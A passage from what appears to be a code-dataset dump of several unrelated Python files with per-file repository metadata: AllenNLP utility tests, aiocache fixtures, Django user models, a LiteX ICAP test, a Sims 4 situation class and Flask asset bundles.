indices = torch.tensor(indices, dtype=torch.long) selected = util.flattened_index_select(targets, indices) assert list(selected.size()) == [2, 2, 2, 3] ones = numpy.ones([3]) numpy.testing.assert_array_equal(selected[0, 0, 0, :].data.numpy(), ones) numpy.testing.assert_array_equal(selected[0, 0, 1, :].data.numpy(), ones * 2) numpy.testing.assert_array_equal(selected[0, 1, 0, :].data.numpy(), ones * 3) numpy.testing.assert_array_equal(selected[0, 1, 1, :].data.numpy(), ones * 4) numpy.testing.assert_array_equal(selected[1, 0, 0, :].data.numpy(), ones * 2) numpy.testing.assert_array_equal(selected[1, 0, 1, :].data.numpy(), ones * 4) numpy.testing.assert_array_equal(selected[1, 1, 0, :].data.numpy(), ones * 6) numpy.testing.assert_array_equal(selected[1, 1, 1, :].data.numpy(), ones * 8) # Check we only accept 2D indices. with pytest.raises(ConfigurationError): util.flattened_index_select(targets, torch.ones([3, 4, 5])) def test_bucket_values(self): indices = torch.LongTensor([1, 2, 7, 1, 56, 900]) bucketed_distances = util.bucket_values(indices) numpy.testing.assert_array_equal( bucketed_distances.numpy(), numpy.array([1, 2, 5, 1, 8, 9]) ) def test_add_sentence_boundary_token_ids_handles_2D_input(self): tensor = torch.from_numpy(numpy.array([[1, 2, 3], [4, 5, 0]])) mask = tensor > 0 bos = 9 eos = 10 new_tensor, new_mask = util.add_sentence_boundary_token_ids(tensor, mask, bos, eos) expected_new_tensor = numpy.array([[9, 1, 2, 3, 10], [9, 4, 5, 10, 0]]) assert (new_tensor.data.numpy() == expected_new_tensor).all() assert (new_mask.data.numpy() == (expected_new_tensor > 0)).all() def test_add_sentence_boundary_token_ids_handles_3D_input(self): tensor = torch.from_numpy( numpy.array( [ [[1, 2, 3, 4], [5, 5, 5, 5], [6, 8, 1, 2]], [[4, 3, 2, 1], [8, 7, 6, 5], [0, 0, 0, 0]], ] ) ) mask = (tensor > 0).sum(dim=-1) > 0 bos = torch.from_numpy(numpy.array([9, 9, 9, 9])) eos = torch.from_numpy(numpy.array([10, 10, 10, 10])) new_tensor, new_mask = util.add_sentence_boundary_token_ids(tensor, mask, bos, eos) expected_new_tensor = numpy.array( [ [[9, 9, 9, 9], [1, 2, 3, 4], [5, 5, 5, 5], [6, 8, 1, 2], [10, 10, 10, 10]], [[9, 9, 9, 9], [4, 3, 2, 1], [8, 7, 6, 5], [10, 10, 10, 10], [0, 0, 0, 0]], ] ) assert (new_tensor.data.numpy() == expected_new_tensor).all() assert (new_mask.data.numpy() == ((expected_new_tensor > 0).sum(axis=-1) > 0)).all() def test_remove_sentence_boundaries(self): tensor = torch.from_numpy(numpy.random.rand(3, 5, 7)) mask = torch.from_numpy( # The mask with two elements is to test the corner case # of an empty sequence, so here we are removing boundaries # from "<S> </S>" numpy.array([[1, 1, 0, 0, 0], [1, 1, 1, 1, 1], [1, 1, 1, 1, 0]]) ).bool() new_tensor, new_mask = util.remove_sentence_boundaries(tensor, mask) expected_new_tensor = torch.zeros(3, 3, 7) expected_new_tensor[1, 0:3, :] = tensor[1, 1:4, :] expected_new_tensor[2, 0:2, :] = tensor[2, 1:3, :] assert_array_almost_equal(new_tensor.data.numpy(), expected_new_tensor.data.numpy()) expected_new_mask = torch.from_numpy(numpy.array([[0, 0, 0], [1, 1, 1], [1, 1, 0]])).bool() assert (new_mask.data.numpy() == expected_new_mask.data.numpy()).all() def test_add_positional_features(self): # This is hard to test, so we check that we get the same result as the # original tensorflow implementation: # https://github.com/tensorflow/tensor2tensor/blob/master/tensor2tensor/layers/common_attention.py#L270 tensor2tensor_result = numpy.asarray( [ [0.00000000e00, 0.00000000e00, 1.00000000e00, 1.00000000e00], [8.41470957e-01, 9.99999902e-05, 5.40302277e-01, 1.00000000e00], [9.09297407e-01, 1.99999980e-04, -4.16146845e-01, 1.00000000e00], ] ) tensor = torch.zeros([2, 3, 4]) result = util.add_positional_features(tensor, min_timescale=1.0, max_timescale=1.0e4) numpy.testing.assert_almost_equal(result[0].detach().cpu().numpy(), tensor2tensor_result) numpy.testing.assert_almost_equal(result[1].detach().cpu().numpy(), tensor2tensor_result) # Check case with odd number of dimensions. tensor2tensor_result = numpy.asarray( [ [ 0.00000000e00, 0.00000000e00, 0.00000000e00, 1.00000000e00, 1.00000000e00, 1.00000000e00, 0.00000000e00, ], [ 8.41470957e-01, 9.99983307e-03, 9.99999902e-05, 5.40302277e-01, 9.99949992e-01, 1.00000000e00, 0.00000000e00, ], [ 9.09297407e-01, 1.99986659e-02, 1.99999980e-04, -4.16146815e-01, 9.99800026e-01, 1.00000000e00, 0.00000000e00, ], ] ) tensor = torch.zeros([2, 3, 7]) result = util.add_positional_features(tensor, min_timescale=1.0, max_timescale=1.0e4) numpy.testing.assert_almost_equal(result[0].detach().cpu().numpy(), tensor2tensor_result) numpy.testing.assert_almost_equal(result[1].detach().cpu().numpy(), tensor2tensor_result) def test_combine_tensors_and_multiply(self): tensors = [torch.Tensor([[[2, 3]]]), torch.Tensor([[[5, 5]]])] weight = torch.Tensor([4, 5]) combination = "x" assert_almost_equal( util.combine_tensors_and_multiply(combination, tensors, weight), [[8 + 15]] ) combination = "y" assert_almost_equal( util.combine_tensors_and_multiply(combination, tensors, weight), [[20 + 25]] ) combination = "x,y" weight2 = torch.Tensor([4, 5, 4, 5]) assert_almost_equal( util.combine_tensors_and_multiply(combination, tensors, weight2), [[8 + 20 + 15 + 25]] ) combination = "x-y" assert_almost_equal( util.combine_tensors_and_multiply(combination, tensors, weight), [[-3 * 4 + -2 * 5]] ) combination = "y-x" assert_almost_equal( util.combine_tensors_and_multiply(combination, tensors, weight), [[3 * 4 + 2 * 5]] ) combination = "y+x" assert_almost_equal( util.combine_tensors_and_multiply(combination, tensors, weight), [[7 * 4 + 8 * 5]] ) combination = "y*x" assert_almost_equal( util.combine_tensors_and_multiply(combination, tensors, weight), [[10 * 4 + 15 * 5]] ) combination = "y/x" assert_almost_equal( util.combine_tensors_and_multiply(combination, tensors, weight), [[(5 / 2) * 4 + (5 / 3) * 5]], decimal=4, ) combination = "x/y" assert_almost_equal( util.combine_tensors_and_multiply(combination, tensors, weight), [[(2 / 5) * 4 + (3 / 5) * 5]], decimal=4, ) with pytest.raises(ConfigurationError): util.combine_tensors_and_multiply("x+y+y", tensors, weight) with pytest.raises(ConfigurationError): util.combine_tensors_and_multiply("x%y", tensors, weight) def test_combine_tensors_and_multiply_with_same_batch_size_and_embedding_dim(self): # This test just makes sure we handle some potential edge cases where the lengths of all # dimensions are the same, making sure that the multiplication with the weight vector # happens along the right dimension (it should be the last one). tensors = [torch.Tensor([[[5, 5], [4, 4]], [[2, 3], [1, 1]]])] # (2, 2, 2) weight = torch.Tensor([4, 5]) # (2,) combination = "x" assert_almost_equal( util.combine_tensors_and_multiply(combination, tensors, weight), [[20 + 25, 16 + 20], [8 + 15, 4 + 5]], ) tensors = [ torch.Tensor([[[5, 5], [2, 2]], [[4, 4], [3, 3]]]), torch.Tensor([[[2, 3]], [[1, 1]]]), ] weight = torch.Tensor([4, 5]) combination = "x*y" assert_almost_equal( util.combine_tensors_and_multiply(combination, tensors, weight), [ [5 * 2 * 4 + 5 * 3 * 5, 2 * 2 * 4 + 2 * 3 * 5], [4 * 1 * 4 + 4 * 1 * 5, 3 * 1 * 4 + 3 * 1 * 5], ], ) def test_combine_tensors_and_multiply_with_batch_size_one(self): seq_len_1 = 10 seq_len_2 = 5 embedding_dim = 8 combination = "x,y,x*y" t1 = torch.randn(1, seq_len_1, embedding_dim) t2 = torch.randn(1, seq_len_2, embedding_dim) combined_dim = util.get_combined_dim(combination, [embedding_dim, embedding_dim]) weight = torch.Tensor(combined_dim) result = util.combine_tensors_and_multiply( combination, [t1.unsqueeze(2), t2.unsqueeze(1)], weight ) assert_almost_equal(result.size(), [1, seq_len_1, seq_len_2]) def test_combine_tensors_and_multiply_with_batch_size_one_and_seq_len_one(self): seq_len_1 = 10 seq_len_2 = 1 embedding_dim = 8 combination = "x,y,x*y" t1 = torch.randn(1, seq_len_1, embedding_dim) t2 = torch.randn(1, seq_len_2, embedding_dim) combined_dim = util.get_combined_dim(combination, [embedding_dim, embedding_dim]) weight = torch.Tensor(combined_dim) result = util.combine_tensors_and_multiply( combination, [t1.unsqueeze(2), t2.unsqueeze(1)], weight ) assert_almost_equal(result.size(), [1, seq_len_1, seq_len_2]) def test_has_tensor(self): has_tensor = util.has_tensor tensor = torch.tensor([1, 2, 3]) assert has_tensor(["a", 10, tensor]) assert not has_tensor(["a", 10]) assert has_tensor(("a", 10, tensor)) assert not has_tensor(("a", 10)) assert has_tensor({"a": tensor, "b": 1}) assert not has_tensor({"a": 10, "b": 1}) assert has_tensor(tensor) assert not has_tensor(3) assert has_tensor({"x": [0, {"inside": {"double_inside": [3, [10, tensor]]}}]}) def test_combine_initial_dims(self): tensor = torch.randn(4, 10, 20, 17, 5) tensor2d = util.combine_initial_dims(tensor) assert list(tensor2d.size()) == [4 * 10 * 20 * 17, 5] def test_uncombine_initial_dims(self): embedding2d = torch.randn(4 * 10 * 20 * 17 * 5, 12) embedding = util.uncombine_initial_dims(embedding2d, torch.Size((4, 10, 20, 17, 5))) assert list(embedding.size()) == [4, 10, 20, 17, 5, 12] def test_inspect_model_parameters(self): model_archive = str( self.FIXTURES_ROOT / "decomposable_attention" / "serialization" / "model.tar.gz" ) parameters_inspection = str( self.FIXTURES_ROOT / "decomposable_attention" / "parameters_inspection.json" ) model = load_archive(model_archive).model with open(parameters_inspection) as file: parameters_inspection_dict = json.load(file) assert parameters_inspection_dict == util.inspect_parameters(model) def test_move_to_device(self): # We're faking the tensor here so that we can test the calls to .cuda() without actually # needing a GPU. class FakeTensor(torch.Tensor): def __init__(self): self._device = None def cuda(self, device): self._device = device return self class A(NamedTuple): a: int b: torch.Tensor structured_obj = { "a": [A(1, FakeTensor()), A(2, FakeTensor())], "b": FakeTensor(), "c": (1, FakeTensor()), } new_device = 4 moved_obj = util.move_to_device(structured_obj, new_device) assert moved_obj["a"][0].a == 1 assert moved_obj["a"][0].b._device == new_device assert moved_obj["a"][1].b._device == new_device assert moved_obj["b"]._device == new_device assert moved_obj["c"][0] == 1 assert moved_obj["c"][1]._device == new_device def test_extend_layer(self): lin_layer = torch.nn.Linear(10, 5) new_dim = 8 old_weights = lin_layer.weight.data.clone() old_bias = lin_layer.bias.data.clone() util.extend_layer(lin_layer, new_dim) assert lin_layer.weight.data.shape == (8, 10) assert lin_layer.bias.data.shape == (8,) assert (lin_layer.weight.data[:5] == old_weights).all() assert (lin_layer.bias.data[:5] == old_bias).all() assert lin_layer.out_features == new_dim def test_masked_topk_selects_top_scored_items_and_respects_masking(self): items = torch.randn([3, 4, 5]).clamp(min=0.0, max=1.0) items[0, :2, :] = 1 items[1, 2:, :] = 1 items[2, 2:, :] = 1 scores = items.sum(-1) mask = torch.ones([3, 4]).bool() mask[1, 0] = 0 mask[1, 3] = 0 pruned_scores, pruned_mask, pruned_indices = util.masked_topk(scores, mask, 2) # Second element in the batch would have indices 2, 3, but # 3 and 0 are masked, so instead it has 1, 2. numpy.testing.assert_array_equal( pruned_indices.data.numpy(), numpy.array([[0, 1], [1, 2], [2, 3]]) ) numpy.testing.assert_array_equal(pruned_mask.data.numpy(), numpy.ones([3, 2])) # scores should be the result of index_selecting the pruned_indices. correct_scores = util.batched_index_select(scores.unsqueeze(-1), pruned_indices).squeeze(-1) self.assert_array_equal_with_mask(correct_scores, pruned_scores, pruned_mask) def test_masked_topk_works_for_completely_masked_rows(self): items = torch.randn([3, 4, 5]).clamp(min=0.0, max=1.0) items[0, :2, :] = 1 items[1, 2:, :] = 1 items[2, 2:, :] = 1 scores = items.sum(-1) mask = torch.ones([3, 4]).bool() mask[1, 0] = 0 mask[1, 3] = 0 mask[2, :] = 0 # fully masked last batch element. pruned_scores, pruned_mask, pruned_indices = util.masked_topk(scores, mask, 2) # We can't check the last row here, because it's completely masked. # Instead we'll check that the scores for these elements are very small. numpy.testing.assert_array_equal( pruned_indices[:2].data.numpy(), numpy.array([[0, 1], [1, 2]]) ) numpy.testing.assert_array_equal( pruned_mask.data.numpy(), numpy.array([[1, 1], [1, 1], [0, 0]]) ) # scores should be the result of index_selecting the pruned_indices. correct_scores = util.batched_index_select(scores.unsqueeze(-1), pruned_indices).squeeze(-1) self.assert_array_equal_with_mask(correct_scores, pruned_scores, pruned_mask) def test_masked_topk_selects_top_scored_items_and_respects_masking_different_num_items(self): items = torch.randn([3, 4, 5]).clamp(min=0.0, max=1.0) items[0, 0, :] = 1.5 items[0, 1, :] = 2 items[0, 3, :] = 1 items[1, 1:3, :] = 1 items[2, 0, :] = 1 items[2, 1, :] = 2 items[2, 2, :] = 1.5 scores = items.sum(-1) mask = torch.ones([3, 4]).bool() mask[1, 3] = 0 k = torch.tensor([3, 2, 1], dtype=torch.long) pruned_scores, pruned_mask, pruned_indices = util.masked_topk(scores, mask, k) # Second element in the batch would have indices 2, 3, but # 3 and 0 are masked, so instead it has 1, 2. numpy.testing.assert_array_equal( pruned_indices.data.numpy(), numpy.array([[0, 1, 3], [1, 2, 2], [1, 2, 2]]) ) numpy.testing.assert_array_equal( pruned_mask.data.numpy(), numpy.array([[1, 1, 1], [1, 1, 0], [1, 0, 0]]) ) # scores should be the result of index_selecting the pruned_indices. correct_scores = util.batched_index_select(scores.unsqueeze(-1), pruned_indices).squeeze(-1) self.assert_array_equal_with_mask(correct_scores, pruned_scores, pruned_mask) def test_masked_topk_works_for_row_with_no_items_requested(self): # Case where `num_items_to_keep` is a tensor rather than an int. Make sure it does the right # thing when no items are requested for one of the rows. items = torch.randn([3, 4, 5]).clamp(min=0.0, max=1.0) items[0, :3, :] = 1 items[1, 2:, :] = 1 items[2, 2:, :] = 1 scores = items.sum(-1) mask = torch.ones([3, 4]).bool() mask[1, 0] = 0 mask[1, 3] = 0 k = torch.tensor([3, 2, 0], dtype=torch.long) pruned_scores, pruned_mask, pruned_indices = util.masked_topk(scores, mask, k) # First element just picks top three entries. Second would pick entries 2 and 3, but 0 and 3 # are masked, so it takes 1 and 2 (repeating the second index). The third element is # entirely masked and just repeats the largest index with a top-3 score. numpy.testing.assert_array_equal( pruned_indices.data.numpy(), numpy.array([[0, 1, 2], [1, 2, 2], [3, 3, 3]]) ) numpy.testing.assert_array_equal( pruned_mask.data.numpy(), numpy.array([[1, 1, 1], [1, 1, 0], [0, 0, 0]]) ) # scores should be the result of index_selecting the pruned_indices. correct_scores = util.batched_index_select(scores.unsqueeze(-1), pruned_indices).squeeze(-1) self.assert_array_equal_with_mask(correct_scores, pruned_scores, pruned_mask) def test_masked_topk_works_for_multiple_dimensions(self): # fmt: off items = torch.FloatTensor([ # (3, 2, 5) [[4, 2, 9, 9, 7], [-4, -2, -9, -9, -7]], [[5, 4, 1, 8, 8], [9, 1, 7, 4, 1]], [[9, 8, 9, 6, 0], [2, 2, 2, 2, 2]], ]).unsqueeze(-1).expand(3, 2, 5, 4) mask = torch.tensor([ [[False, False, False, False, False], [True, True, True, True, True]], [[True, True, True, True, False], [False, True, True, True, True]], [[True, False, True, True, True], [False, True, False, True, True]], ]).unsqueeze(-1).expand(3, 2, 5, 4) # This is the same as just specifying a scalar int, but we want to test this behavior k = torch.ones(3, 5, 4, dtype=torch.long) k[1, 3, :] = 2 target_items = torch.FloatTensor([ [[-4, -2, -9, -9, -7], [0, 0, 0, 0, 0]], [[5, 4, 7, 8, 1], [0, 0, 0, 4, 0]], [[9, 2, 9, 6, 2], [0, 0, 0, 0, 0]], ]).unsqueeze(-1).expand(3, 2, 5, 4) target_mask = torch.ones(3, 2, 5, 4, dtype=torch.bool) target_mask[:, 1, :, :] = 0 target_mask[1, 1, 3, :] = 1 target_indices = torch.LongTensor([ [[1, 1, 1, 1, 1], [0, 0, 0, 0, 0]], [[0, 0, 1, 0, 1], [0, 0, 0, 1, 0]], [[0, 1, 0, 0, 1], [0, 0, 0, 0, 0]], ]).unsqueeze(-1).expand(3, 2, 5, 4) # fmt: on pruned_items, pruned_mask, pruned_indices = util.masked_topk(items, mask, k, dim=1) numpy.testing.assert_array_equal(pruned_mask.data.numpy(), target_mask.data.numpy()) self.assert_array_equal_with_mask(pruned_items, target_items, pruned_mask) self.assert_array_equal_with_mask(pruned_indices, target_indices, pruned_mask) def assert_array_equal_with_mask(self, a, b, mask): numpy.testing.assert_array_equal((a * mask).data.numpy(), (b * mask).data.numpy()) def test_tensors_equal(self): # Basic assert util.tensors_equal(torch.tensor([1]), torch.tensor([1])) assert not util.tensors_equal(torch.tensor([1]), torch.tensor([2])) # Bool assert util.tensors_equal(torch.tensor([True]), torch.tensor([True])) # Cross dtype assert util.tensors_equal(torch.tensor([1]), torch.tensor([1.0])) assert util.tensors_equal(torch.tensor([1]), torch.tensor([True])) # Containers assert util.tensors_equal([torch.tensor([1])], [torch.tensor([1])]) assert not util.tensors_equal([torch.tensor([1])], [torch.tensor([2])]) assert util.tensors_equal({"key": torch.tensor([1])}, {"key": torch.tensor([1])})

44.1418

111

0.58091

9,793

71,598

4.065251

0.063106

0.017935

0.015373

0.01055

0.755269

0.721358

0.691944

0.665695

0.64231

0.614202

0

0.076833

0.280874

71,598

1,621

112

44.169031

0.696376

0.109416

0

0.465643

0

0.005459

0.001101

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0.154406

1

0.050121

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0.000808

0.010509

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0.064673

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null

0

1

0

1

0

null

0

2

8a3cbbc7fd1c54f45bbdf7b34e3c92733082359d

2,280

py

Python

tests/ut/conftest.py

rspadim/aiocache

bf675ae912173bee25cc1d8c22b77f57de34375d

[ "BSD-3-Clause" ]

213

2020-11-02T14:29:46.000Z

2022-03-24T23:12:32.000Z

tests/ut/conftest.py

rspadim/aiocache

bf675ae912173bee25cc1d8c22b77f57de34375d

[ "BSD-3-Clause" ]

48

2020-11-02T11:17:13.000Z

2022-03-24T17:55:31.000Z

tests/ut/conftest.py

rspadim/aiocache

bf675ae912173bee25cc1d8c22b77f57de34375d

[ "BSD-3-Clause" ]

49

2020-11-13T07:41:37.000Z

2022-03-25T12:24:49.000Z

import pytest import asynctest from aiocache.base import BaseCache, API from aiocache import caches, RedisCache, MemcachedCache from aiocache.plugins import BasePlugin from aiocache.serializers import BaseSerializer def pytest_configure(): """ Before pytest_namespace was being used to set the keys for testing but the feature was removed https://docs.pytest.org/en/latest/deprecations.html#pytest-namespace """ pytest.KEY = "key" pytest.KEY_1 = "random" @pytest.fixture(autouse=True) def reset_caches(): caches.set_config( { "default": { "cache": "aiocache.SimpleMemoryCache", "serializer": {"class": "aiocache.serializers.NullSerializer"}, } } ) class MockCache(BaseCache): def __init__(self): super().__init__() self._add = asynctest.CoroutineMock() self._get = asynctest.CoroutineMock() self._gets = asynctest.CoroutineMock() self._set = asynctest.CoroutineMock() self._multi_get = asynctest.CoroutineMock(return_value=["a", "b"]) self._multi_set = asynctest.CoroutineMock() self._delete = asynctest.CoroutineMock() self._exists = asynctest.CoroutineMock() self._increment = asynctest.CoroutineMock() self._expire = asynctest.CoroutineMock() self._clear = asynctest.CoroutineMock() self._raw = asynctest.CoroutineMock() self._redlock_release = asynctest.CoroutineMock() self.acquire_conn = asynctest.CoroutineMock() self.release_conn = asynctest.CoroutineMock() self._close = asynctest.CoroutineMock() @pytest.fixture def mock_cache(mocker): cache = MockCache() cache.timeout = 0.002 mocker.spy(cache, "_build_key") for cmd in API.CMDS: mocker.spy(cache, cmd.__name__) mocker.spy(cache, "close") cache.serializer = asynctest.Mock(spec=BaseSerializer) cache.serializer.encoding = "utf-8" cache.plugins = [asynctest.Mock(spec=BasePlugin)] return cache @pytest.fixture def base_cache(): return BaseCache() @pytest.fixture def redis_cache(): cache = RedisCache() return cache @pytest.fixture def memcached_cache(): cache = MemcachedCache() return cache

27.804878

79

0.675

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2,280

6.285714

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0.235294

0.243316

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0

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2,280

81

80

28.148148

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0.029145

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false

0

0.098361

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0.295082

0

null

1

0

null

0

2

8a45222032afc0d45b3704fce040bfb9e95e4f75

179

py

Python

aioffsend/__init__.py

Chenwe-i-lin/aioffsend

fb4a9070042d91de2f929b4c298310766d0377f7

[ "MIT" ]

null

aioffsend/__init__.py

Chenwe-i-lin/aioffsend

fb4a9070042d91de2f929b4c298310766d0377f7

[ "MIT" ]

null

aioffsend/__init__.py

Chenwe-i-lin/aioffsend

fb4a9070042d91de2f929b4c298310766d0377f7

[ "MIT" ]

null

from .highlevel import ( upload, delete, download, set_params, get_metadata, get_owner_info ) from .midlevel import FFSend from .lowlevel import FFSendAPI

16.272727

31

0.703911

21

179

5.809524

0.761905

0

0.240223

179

11

31

16.272727

0.897059

0

1

0

true

0

0.3

0

0.3

0

1

0

null

0

null

0

1

0

2

8a490534731ba006b0b50ab404eae70a803214f3

1,068

py

Python

Set-14-2021/tarefa.py

gianbianchi/Uniso

3abd036bde0b9d9e02ae4f95bae10af4f0a0bae7

[ "MIT" ]

null

Set-14-2021/tarefa.py

gianbianchi/Uniso

3abd036bde0b9d9e02ae4f95bae10af4f0a0bae7

[ "MIT" ]

null

Set-14-2021/tarefa.py

gianbianchi/Uniso

3abd036bde0b9d9e02ae4f95bae10af4f0a0bae7

[ "MIT" ]

null

n1 = int(input("Digite n1: ")) n2 = int(input("Digite n2: ")) if (n2 == 0): print("Não é possível dividir por zero.") if (n1 % 3 == 0 and n1 % 5 == 0): print("O número n1 = {} é divisível por 3 e 5.".format(n1)) else: print("O número n1 = {} não é divisível por 3 e 5 ao mesmo tempo".format(n1)) if (n2 % 3 == 0 and n2 % 5 == 0): print("O número n2 = {} é divisível por 3 e 5.".format(n2)) else: print("O número n2 = {} não é divisível por 3 e 5 ao mesmo tempo".format(n2)) if (n1 > 0): print("O número n1 = {} é positivo".format(n1)) if (n1 % 4 == 0): print("e divisível por 4") elif (n1 < 0): print("O número n1 = {} é negativo".format(n1)) if (n1 % 4 == 0): print("e divisível por 4") else: print("O número n1 é zero.") if (n2 > 0): print("O número n2 = {} é positivo".format(n2)) if (n2 % 4 == 0): print("e divisível por 4") elif (n2 < 0): print("O número n2 = {} é negativo".format(n2)) if (n2 % 4 == 0): print("e divisível por 4") else: print("O número n2 é zero.")

28.864865

81

0.544944

188

1,068

3.095745

0.159574

0.113402

0.206186

0.134021

0.749141

0.67354

0.621993

0.42268

0.408935

0

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0.271536

1,068

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82

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null

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null

0

1

0

2

8a4c7b9da8478218612fb444dc54b52b37aeddbd

2,574

py

Python

users/models.py

itimor/weekReport

6da9bb93de1df8195f87d9e032ae31968c95a7c3

[ "MIT" ]

3

2018-03-01T10:08:23.000Z

2020-03-31T09:58:41.000Z

users/models.py

itimor/weekReport

6da9bb93de1df8195f87d9e032ae31968c95a7c3

[ "MIT" ]

null

users/models.py

itimor/weekReport

6da9bb93de1df8195f87d9e032ae31968c95a7c3

[ "MIT" ]

4

2018-07-31T12:14:29.000Z

2020-10-21T06:41:36.000Z

# -*- coding: utf-8 -*- # author: itimor from django.db import models from django.contrib.auth.models import BaseUserManager, AbstractBaseUser class UserManager(BaseUserManager): def create_user(self, username, password=None): '''username 是唯一标识，没有会报错''' if not username: raise ValueError('Users must have an username') user = self.model( username=username, ) user.set_password(password) # 设置密码 user.save(using=self._db) # 保存密码 return user def create_superuser(self, username, password): user = self.create_user(username=username, password=password, ) user.is_admin = True # 比创建用户多的一个字段 user.save(using=self._db) return user class User(AbstractBaseUser): username = models.CharField(max_length=32, unique=True, db_index=True) email = models.EmailField(max_length=255, unique=True, blank=True) name = models.CharField(max_length=100, null=True, blank=True, verbose_name=u'中文名') group = models.ForeignKey('Group', on_delete=models.SET_NULL, null=True, blank=True, verbose_name=u'部门或组') create_date = models.DateField(auto_now=True, verbose_name=u'创建时间') is_active = models.BooleanField(default=True) is_admin = models.BooleanField(default=False) roles = models.ForeignKey('Role', on_delete=models.SET_NULL, null=True, blank=True, verbose_name=u'角色') USERNAME_FIELD = 'username' # 必须有一个唯一标识--USERNAME_FIELD #REQUIRED_FIELDS = ['email'] # 创建superuser时的必须字段 def __str__(self): # __unicode__ on Python 2 return self.username @property def is_staff(self): return self.is_admin class Meta: verbose_name = u'用户' verbose_name_plural = u'用户' objects = UserManager() # 创建用户 class Group(models.Model): name = models.CharField(max_length=64, unique=True, verbose_name=u'部门') desc = models.CharField(max_length=64, null=True, blank=True, verbose_name=u'描述') def __str__(self): return self.name class Meta: verbose_name = u'组' verbose_name_plural = u'部门' class Role(models.Model): name = models.CharField(max_length=64, unique=True, verbose_name=u'角色') cnname = models.CharField(max_length=64, unique=True, verbose_name=u'中文名') desc = models.CharField(max_length=64, null=True, blank=True, verbose_name=u'描述') def __str__(self): return self.name class Meta: verbose_name = u'角色' verbose_name_plural = u'角色'

33.428571

110

0.663559

329

2,574

5

0.303951

0.100304

0.087538

0.372036

0.31307

0.295441

0

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2,574

77

111

33.428571

0.815763

0.070707

0

0.254545

0

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0

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false

0.072727

0.036364

0.072727

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0

null

0

null

0

1

0

1

0

2

8a4d4e1ecd7f4e0e93ca7f5da0137f260149deaf

314

py

Python

test/test_icap.py

antmicro/netv2

f49e0635d197e381c4a5cce8dd9816962a519a48

[ "Net-SNMP", "Xnet" ]

null

test/test_icap.py

antmicro/netv2

f49e0635d197e381c4a5cce8dd9816962a519a48

[ "Net-SNMP", "Xnet" ]

4

2020-08-18T18:29:38.000Z

2021-01-25T21:31:25.000Z

test/test_icap.py

antmicro/netv2

f49e0635d197e381c4a5cce8dd9816962a519a48

[ "Net-SNMP", "Xnet" ]

null

#!/usr/bin/env python3 from litex import RemoteClient wb = RemoteClient() wb.open() # # # def icap_send(addr, data): wb.regs.icap_addr.write(addr) wb.regs.icap_data.write(data) wb.regs.icap_send.write(1) while (wb.regs.icap_done.read() == 0): pass # iprog icap_send(0x04, 0x0000000f) # # # wb.close()

13.652174

39

0.687898

50

314

4.2

0.54

0.114286

0.190476

0.133333

0

0.052045

0.143312

314

22

40

14.272727

0.728625

0.092357

0

0.050909

0

1

0.090909

false

0.090909

0

0.181818

0

null

0

1

0

null

0

1

0

2

8a4dee86ca5dfb4dc02ea1a613fe4540eb4f1125

1,553

py

Python

S4/S4 Library/simulation/situations/complex/suntanner_situation.py

NeonOcean/Environment

ca658cf66e8fd6866c22a4a0136d415705b36d26

[ "CC-BY-4.0" ]

1

2021-05-20T19:33:37.000Z

S4/S4 Library/simulation/situations/complex/suntanner_situation.py

NeonOcean/Environment

ca658cf66e8fd6866c22a4a0136d415705b36d26

[ "CC-BY-4.0" ]

null

S4/S4 Library/simulation/situations/complex/suntanner_situation.py

NeonOcean/Environment

ca658cf66e8fd6866c22a4a0136d415705b36d26

[ "CC-BY-4.0" ]

null

from sims4.tuning.tunable_base import GroupNames from situations.complex.give_job_object_situation_mixin import GiveJobObjectSituationMixin from situations.situation import Situation from situations.situation_complex import SituationComplexCommon, CommonSituationState, SituationStateData, TunableSituationJobAndRoleState import sims4 logger = sims4.log.Logger('SuntannerSituation', default_owner='msundaram') class _SuntannerSituationState(CommonSituationState): pass class SuntannerSituation(GiveJobObjectSituationMixin, SituationComplexCommon): INSTANCE_TUNABLES = {'situation_default_job_and_role': TunableSituationJobAndRoleState(description='\n The default job that a visitor will be in during the situation.\n '), 'default_state': _SuntannerSituationState.TunableFactory(description='\n The default state of this situation.\n ', display_name='State', tuning_group=GroupNames.STATE)} REMOVE_INSTANCE_TUNABLES = Situation.NON_USER_FACING_REMOVE_INSTANCE_TUNABLES @classmethod def default_job(cls): return cls.situation_default_job_and_role.job @classmethod def _states(cls): return [SituationStateData(1, _SuntannerSituationState, factory=cls.default_state)] @classmethod def _get_tuned_job_and_default_role_state_tuples(cls): return [(cls.situation_default_job_and_role.job, cls.situation_default_job_and_role.role_state)] def start_situation(self): super().start_situation() self._change_state(self.default_state())

51.766667

389

0.792659

167

1,553

7.047904

0.401198

0.050977

0.064571

0.074766

0.116398

0.094308

0.069669

0

0.002987

0.137798

1,553

29

390

53.551724

0.876027

0

0.130435

0

0.1481

0.019317

0

1

0.173913

false

0.043478

0.217391

0.130435

0.695652

0

null

0

null

0

1

0

2

8a6421e5b529d91386be0794928d1cf7f31ecb6a

1,186

py

Python

octopus/assets.py

quaintm/octopus

95a732207ee5f43cd0065d8ea6c643cbf3df2d61

[ "BSD-3-Clause" ]

null

octopus/assets.py

quaintm/octopus

95a732207ee5f43cd0065d8ea6c643cbf3df2d61

[ "BSD-3-Clause" ]

null

octopus/assets.py

quaintm/octopus

95a732207ee5f43cd0065d8ea6c643cbf3df2d61

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- from flask.ext.assets import Bundle, Environment css = Bundle( "libs/bootstrap/dist/css/bootstrap.css", "libs/dataTables/dataTables.bootstrap.css", "libs/dataTables/dataTables.tableTools.css", "libs/font-awesome4/css/font-awesome.css", "libs/bootstrap-datepicker/css/datepicker3.css", "libs/bootstrap-tagsinput/dist/bootstrap-tagsinput.css", "css/style.css", filters="cssmin", output="public/css/common.css" ) js = Bundle( "libs/jQuery/dist/jquery.js", "libs/bootstrap/dist/js/bootstrap.js", "libs/dataTables/jquery.dataTables.js", "libs/dataTables/dataTables.bootstrap.js", "libs/dataTables/dataTables.tableTools.js", "libs/bootstrap-datepicker/js/bootstrap-datepicker.js", "libs/bootstrap-tagsinput/dist/bootstrap-tagsinput.js", "libs/typeahead.js/dist/typeahead.bundle.js", "libs/pagedown/Markdown.Converter.js", "libs/pagedown/Markdown.Sanitizer.js", "js/plugins.js", "js/script.js", # filters='jsmin', output="public/js/common.js" ) # Warning: for fonts, you need to copy over everything manually for now to static/fonts assets = Environment() assets.register("js_all", js) assets.register("css_all", css)

30.410256

87

0.736088

157

1,186

5.547771

0.33121

0.061998

0.110218

0.059701

0.183697

0.101033

0

0.002801

0.096965

1,186

38

88

31.210526

0.810458

0.104553

0

0.703214

0.63138

0

1

0

false

0

0.033333

0

